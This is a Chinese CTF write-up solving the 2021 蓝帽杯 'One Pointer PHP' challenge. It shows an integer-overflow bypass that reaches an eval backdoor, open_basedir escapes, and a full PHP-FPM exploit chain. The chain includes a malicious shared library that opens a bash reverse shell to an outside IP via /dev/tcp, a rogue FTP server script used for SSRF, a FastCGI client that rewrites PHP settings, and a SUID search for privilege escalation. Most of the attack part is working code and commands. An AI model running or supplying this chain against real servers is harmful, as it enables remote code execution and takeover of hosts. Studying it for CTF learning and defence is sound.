2021 蓝帽杯 One Pointer PHP

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[2021 蓝帽杯] One Pointer PHP

前置知识：

1.php数组溢出

32位系统 最大整数  => 231 => 2,147,483,648 - 1 => 2,147,483,647

64位系统 最大整数  => 263 => 9,223,372,036,854,775,808 - 1  => 9,223,372,036,854,775,807

如果超出整型范围则解析为浮点型。

2.$a[]的赋值特性


如果我们赋值给$a[100]=2,则$a[]=3;默认为$a[101]=3
即赋值给下一个索引值。

#示例1

3.Bypass open_basedir

前言：

open_basedir是php.ini的一个配置选项，可以将用户的目录活动范围锁在范围之内。
如：活动范围是：

则/var/www/html/test可访问
且/var/www不可访问
即 限制范围的衍生出来的目录可以访问，以内不能访问

方法一：命令执行函数绕过

新建3.php文件：

<?php
include("php://filter/read=convert.base64-encode/resource=../index.php");


成功读取文件

设置了open_basedir后：

禁止读取文件了，如果用system函数读取呢

<?php
//include("php://filter/read=convert.base64-encode/resource=../index.php");
system("type ..\index.php");

方法二.glob协议

用这个代码，访问该文件就可以得到根目录的内容

<?php
$a = "glob:///*";
if($b = opendir($a)){
    while(($file = readdir($b)) !== false){
        echo $file.'<br>';//将根目录的文件名字输出
    }
    closedir($b);
}

方法三.利用ini_set读取文件内容

<?php
mkdir('TES');
chdir('TES');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
$a=file_get_contents('index.php');
var_dump($a);  //一定要有这个var_dump，否则是没有回显的
?>

成功访问

解题

题目给了源码：

<?php
  class User{
  public $count;
}
?>

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
    $count[++$user->count]=1;
    if($count[]=1){
        $user->count+=1;
        setcookie("data",serialize($user));
    }else{
        eval($_GET["backdoor"]);
    }
}else{
    $user=new User;
    $user->count=1;
    setcookie("data",serialize($user));
}
?>

溢出绕过

这里要求$count[]=1为假
即$count[++$user->count]中的++$user->count=9,223,372,036,854,775,807

这样子就可以使得$count[]=1的序列号为9,223,372,036,854,775,808，溢出了整数最大值，便可以为假
成功执行eval一句话木马，试一下phpinfo()

可以看到phpinfo()；成功执行了
注意到phpinfo里面有disable_function

还有限制目录

这里有几个方法 可以绕过，我就说两三个：

读取文件

1.ini_set 的方法

?backdoor=mkdir('qf');chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

这段话的简单过程如下：

mkdir -> 创建新的目录
chdir -> 进入目录
ini_set('open_basedir','..') -> 设置..为可用的路径
chdir(） -> 上一级
ini_set('open_basedir','/') -> 设置/为可用的路径
scandir  ->  列出指定目录的文件，返回的是array
print_r()  -> 打印

2.连接蚁剑，上传文件

连接的地址是/add_api.php?backdoor=eval($_POST[8]);
记得添加请求信息的Cookie，值为data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

连接成功
上传文件a.php

<?php
$a = "glob:///*";
if($b = opendir($a)){
    while(($file = readdir($b)) !== false){
        echo $file.'<br>';//将根目录的文件名字输出
    }
    closedir($b);
}

上传成功后，访问即可以得到根目录：

3.利用DirectoryIterator的globa

$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
    echo($f->__toString().'<br>');
    }

直接复制贴在backdoor后面:

开始下一步解题

分析配置文件

尝试读取flag：

?backdoor=mkdir(%27qf%27);chdir(%27qf%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));var_dump(file_get_contents(%27/flag%27));


返回了False

看一下本地进程

再看一下fpm的运行端口：

?backdoor=chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/nginx/sites-available/default');

返回 ：

发现在9001端口
fastcgi_pass 127.0.0.1:9001;只接受本地的包，如果要利用FastCgi需要利用SSRF

FPM未授权攻击

1.构造恶意的so文件

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'");  //记住这个监听端口，要与下面的保持一致
}

//gcc payload.c -fPIC -shared -o payload.so

这个payload.so的名字也要和php脚本对应

2.构造SSRF

构造一个文件，file.php

<?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    echo($file."</br>".$data."</br>");
    var_dump(file_put_contents($file, $data));
?>

这里的$file = $_GET['file'] ?? '/tmp/file';
??是php7以上的新语法，如果 $_GET[‘file’] 存在，则取 $_GET[‘file’] 的值，若不存在，则取 /tmp/file
类似 isset($a)? $a:$b;

3.构造FTP服务器

都说了是FTP服务器，肯定是得能访问，所以这个要在公网上运行这个脚本（python）

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 9999))#这里是ftp的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)  
                                                            // 注意端口
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

注意：只要连接到就会退出

4.构造Fastcgi请求

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip:9999/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}
 
$filepath = "/var/www/html/add_api.php";  // 文件路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = payload.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录 放在tmp是因为普适性比较强，这里有/var/www/html的权限，所以放在这个目录
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001', // 找准服务端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

访问后生成

把ip改成自己的公网地址

开始一遍监听，一遍运行python脚本（FTP服务器）
再file.php输入参数：

成功反弹shell
但是发现权限被限制了

只能提权了：

find / -perm -u=s -type f 2>/dev/null

提权大概要40s
等待一会输入：

php -a  //进入php交互模式

再次利用ini_set拿flag

mkdir('qf');chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));


至此，结束了一切。

感受

个人认为非常难，但是也挺偏向实战一点点，起码是一个很符合CTF的题目。主要的难点还是在理解那个php脚本的，要对应好监听的端口和php脚本里面的代码，其实这道题目用蚁剑的插件也可以做出来，不过要修改几个插件的代码。比较懒就不写了

贴个图证明我真的试过了，要记得改端口，还要把插件里面的函数**fsockopen 改为 pfsockopen **
附上修改文件：

  • \antData\plugins\as_bypass_php_disable_functions-master\payload.js
  • \antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

如果是手工操作的话还是要记得对应好端口。
不过这个蚁剑最后这些文件是创建成功了，但是连接不上就有点尴尬了.可能是我版本和别人不一样改的也就不行了。